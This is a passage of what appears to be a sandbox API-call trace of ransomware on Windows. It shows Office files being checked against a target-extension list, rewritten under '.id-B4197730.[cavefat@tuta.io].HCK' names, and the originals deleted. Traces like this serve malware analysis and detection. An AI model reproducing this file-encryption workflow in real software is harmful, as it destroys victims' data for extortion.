"c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".doc") returned 4 [0229.472] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".docx") returned 5 [0229.472] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0229.472] lstrlenW (lpString=".pdf") returned 4 [0229.472] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".xls") returned 4 [0229.472] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".xlsx") returned 5 [0229.472] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0229.472] lstrlenW (lpString=".ppt") returned 4 [0229.472] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".zip") returned 4 [0229.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".rar") returned 4 [0229.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".bz2") returned 4 [0229.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.472] lstrlenW (lpString=".7z") returned 3 [0229.472] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".dbf") returned 4 [0229.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".1cd") returned 4 [0229.472] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".jpg") returned 4 [0229.472] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".doc") returned 4 [0229.472] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".docx") returned 5 [0229.472] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0229.472] lstrlenW (lpString=".pdf") returned 4 [0229.472] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".xls") returned 4 [0229.472] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".xlsx") returned 5 [0229.472] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0229.472] lstrlenW (lpString=".ppt") returned 4 [0229.472] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.472] lstrlenW (lpString=".zip") returned 4 [0229.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".rar") returned 4 [0229.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.472] lstrlenW (lpString=".bz2") returned 4 [0229.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.473] lstrlenW (lpString=".7z") returned 3 [0229.473] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.473] lstrlenW (lpString=".dbf") returned 4 [0229.473] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.473] lstrlenW (lpString=".1cd") returned 4 [0229.473] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0229.473] lstrlenW (lpString=".jpg") returned 4 [0229.473] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.473] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.473] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0229.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.473] lstrlenW (lpString=".doc") returned 4 [0229.473] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString=".docx") returned 5 [0229.473] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0229.473] lstrlenW (lpString=".pdf") returned 4 [0229.473] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString=".xls") returned 4 [0229.473] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString=".xlsx") returned 5 [0229.473] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0229.473] lstrlenW (lpString=".ppt") returned 4 [0229.473] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.473] lstrlenW (lpString=".zip") returned 4 [0229.473] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString=".rar") returned 4 [0229.473] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.473] lstrlenW (lpString=".bz2") returned 4 [0229.473] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.473] lstrlenW (lpString=".7z") returned 3 [0229.473] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.473] lstrlenW (lpString=".dbf") returned 4 [0229.473] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".1cd") returned 4 [0229.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".jpg") returned 4 [0229.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".doc") returned 4 [0229.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString=".docx") returned 5 [0229.474] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0229.474] lstrlenW (lpString=".pdf") returned 4 [0229.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString=".xls") returned 4 [0229.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString=".xlsx") returned 5 [0229.474] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0229.474] lstrlenW (lpString=".ppt") returned 4 [0229.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".zip") returned 4 [0229.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString=".rar") returned 4 [0229.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.474] lstrlenW (lpString=".bz2") returned 4 [0229.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.474] lstrlenW (lpString=".7z") returned 3 [0229.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".dbf") returned 4 [0229.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".1cd") returned 4 [0229.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0229.474] lstrlenW (lpString=".jpg") returned 4 [0229.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.474] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0229.474] lstrlenW (lpString="AppVLP.exe") returned 10 [0229.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0229.475] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=431664) returned 1 [0229.475] CloseHandle (hObject=0x498) returned 1 [0229.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0229.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".doc") returned 4 [0229.476] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.476] lstrlenW (lpString=".docx") returned 5 [0229.476] lstrcmpiW (lpString1=".docx", lpString2="P.exe") returned -1 [0229.476] lstrlenW (lpString=".pdf") returned 4 [0229.476] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString=".xls") returned 4 [0229.476] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString=".xlsx") returned 5 [0229.476] lstrcmpiW (lpString1=".xlsx", lpString2="P.exe") returned -1 [0229.476] lstrlenW (lpString=".ppt") returned 4 [0229.476] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".zip") returned 4 [0229.476] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString=".rar") returned 4 [0229.476] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString=".bz2") returned 4 [0229.476] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.476] lstrlenW (lpString=".7z") returned 3 [0229.476] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".dbf") returned 4 [0229.476] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".1cd") returned 4 [0229.476] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".jpg") returned 4 [0229.476] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.476] lstrlenW (lpString=".doc") returned 4 [0229.477] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.477] lstrlenW (lpString=".docx") returned 5 [0229.477] lstrcmpiW (lpString1=".docx", lpString2="P.exe") returned -1 [0229.477] lstrlenW (lpString=".pdf") returned 4 [0229.477] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.477] lstrlenW (lpString=".xls") returned 4 [0229.477] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.477] lstrlenW (lpString=".xlsx") returned 5 [0229.477] lstrcmpiW (lpString1=".xlsx", lpString2="P.exe") returned -1 [0229.477] lstrlenW (lpString=".ppt") returned 4 [0229.477] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.477] lstrlenW (lpString=".zip") returned 4 [0229.477] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.477] lstrlenW (lpString=".rar") returned 4 [0229.477] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.477] lstrlenW (lpString=".bz2") returned 4 [0229.477] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.477] lstrlenW (lpString=".7z") returned 3 [0229.477] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.477] lstrlenW (lpString=".dbf") returned 4 [0229.477] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.477] lstrlenW (lpString=".1cd") returned 4 [0229.477] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56 [0229.477] lstrlenW (lpString=".jpg") returned 4 [0229.477] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.477] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.477] lstrlenW (lpString="C2R32.dll") returned 9 [0229.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0229.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0229.477] lstrlenW (lpString=".doc") returned 4 [0229.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString=".docx") returned 5 [0229.478] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0229.478] lstrlenW (lpString=".pdf") returned 4 [0229.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString=".xls") returned 4 [0229.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString=".xlsx") returned 5 [0229.478] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0229.478] lstrlenW (lpString=".ppt") returned 4 [0229.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0229.478] lstrlenW (lpString=".zip") returned 4 [0229.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString=".rar") returned 4 [0229.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.478] lstrlenW (lpString=".bz2") returned 4 [0229.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.478] lstrlenW (lpString=".7z") returned 3 [0229.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0229.478] lstrlenW (lpString=".dbf") returned 4 [0229.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0229.611] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.611] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0229.612] GetLastError () returned 0x0 [0229.612] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0229.614] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0229.615] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.615] WriteFile (in: hFile=0x54c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xea, lpOverlapped=0x0) returned 1 [0229.615] SetEndOfFile (hFile=0x54c) returned 1 [0229.615] CloseHandle (hObject=0x54c) returned 1 [0229.615] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.616] SetEndOfFile (hFile=0x4d4) returned 1 [0229.617] CloseHandle (hObject=0x4d4) returned 1 [0229.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0229.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.618] lstrlenW (lpString=".doc") returned 4 [0229.618] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.618] lstrlenW (lpString=".docx") returned 5 [0229.618] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.618] lstrlenW (lpString=".pdf") returned 4 [0229.618] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.618] lstrlenW (lpString=".xls") returned 4 [0229.618] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".xlsx") returned 5 [0229.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.619] lstrlenW (lpString=".ppt") returned 4 [0229.619] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".zip") returned 4 [0229.619] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".rar") returned 4 [0229.619] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".bz2") returned 4 [0229.619] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.619] lstrlenW (lpString=".7z") returned 3 [0229.619] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".dbf") returned 4 [0229.619] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".1cd") returned 4 [0229.619] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".jpg") returned 4 [0229.619] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".doc") returned 4 [0229.619] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.619] lstrlenW (lpString=".docx") returned 5 [0229.619] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.619] lstrlenW (lpString=".pdf") returned 4 [0229.619] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".xls") returned 4 [0229.619] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".xlsx") returned 5 [0229.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.619] lstrlenW (lpString=".ppt") returned 4 [0229.619] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.619] lstrlenW (lpString=".zip") returned 4 [0229.619] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".rar") returned 4 [0229.619] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.619] lstrlenW (lpString=".bz2") returned 4 [0229.620] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.620] lstrlenW (lpString=".7z") returned 3 [0229.620] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.620] lstrlenW (lpString=".dbf") returned 4 [0229.620] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.620] lstrlenW (lpString=".1cd") returned 4 [0229.620] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0229.620] lstrlenW (lpString=".jpg") returned 4 [0229.620] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.620] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.620] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0229.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.621] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6970) returned 1 [0229.621] CloseHandle (hObject=0x4d4) returned 1 [0229.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0229.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.622] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.622] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.622] CreateFileW 